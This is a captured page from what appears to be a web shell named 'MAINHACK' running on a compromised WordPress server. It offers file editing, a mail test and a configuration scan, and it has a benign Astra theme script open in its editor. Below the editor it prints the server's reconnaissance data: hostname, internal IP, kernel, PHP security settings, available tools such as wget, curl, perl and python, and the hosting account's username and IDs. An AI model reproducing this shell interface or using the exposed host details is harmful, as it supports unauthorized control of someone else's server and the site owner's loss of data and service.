[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: command-palette.js
/** * Astra Command Palette Integration * * Registers Astra customizer panels with WordPress Command Palette. * * @package Astra * @since 4.11.18 */ ( function ( wp ) { 'use strict'; if ( ! wp || ! wp.data || ! wp.commands ) { return; } const { dispatch } = wp.data; const { store: commandsStore } = wp.commands; const config = window.astraCommandPalette || {}; const customizerUrl = config.customizerUrl || ''; const panels = config.panels || []; const iconUrl = config.iconUrl || ''; if ( ! customizerUrl || panels.length === 0 ) { return; } const { createElement } = wp.element; const astraIcon = iconUrl ? createElement( 'img', { src: iconUrl, alt: 'Astra', width: 20, height: 20, } ) : null; // Function to register commands. function registerAstraCommands() { panels.forEach( function ( panel ) { let url = customizerUrl; if ( panel.type === 'panel' ) { url += '?autofocus[panel]=' + panel.id; } else if ( panel.type === 'section' ) { url += '?autofocus[section]=' + panel.id; } try { // Register the command. dispatch( commandsStore ).registerCommand( { name: panel.name, label: panel.label, searchLabel: panel.searchLabel || panel.label, icon: astraIcon, callback: function () { window.location.href = url; }, } ); } catch ( error ) { console.error( 'Astra Command Palette: Failed to register', panel.name, error ); } } ); } // Function to add click handler for admin bar search icon. function addSearchIconClickHandler() { const searchTrigger = document.querySelector( '#wp-admin-bar-astra-command-palette-search > a' ); if ( searchTrigger ) { searchTrigger.addEventListener( 'click', function ( e ) { e.preventDefault(); if ( wp.data && wp.data.dispatch ) { wp.data.dispatch( 'core/commands' ).open(); } } ); } } // Initialize the command registration and event handlers. const init = () => { registerAstraCommands(); addSearchIconClickHandler(); } // Wait for the editor to be ready before registering commands. if ( wp.domReady ) { wp.domReady( init ); } else { if ( document.readyState === 'loading' ) { document.addEventListener( 'DOMContentLoaded', init ); } else { init(); } } } )( window.wp );
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm021.cluster127.gra.hosting.ovh.net
Server IP: 10.127.20.21
PHP Version: 8.4.22
Server Software: Apache
System: Linux webm021.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: vcomplcotr
User ID (UID): 38697
Group ID (GID): 100
Script Owner UID: 38697
Current Dir Owner: 38697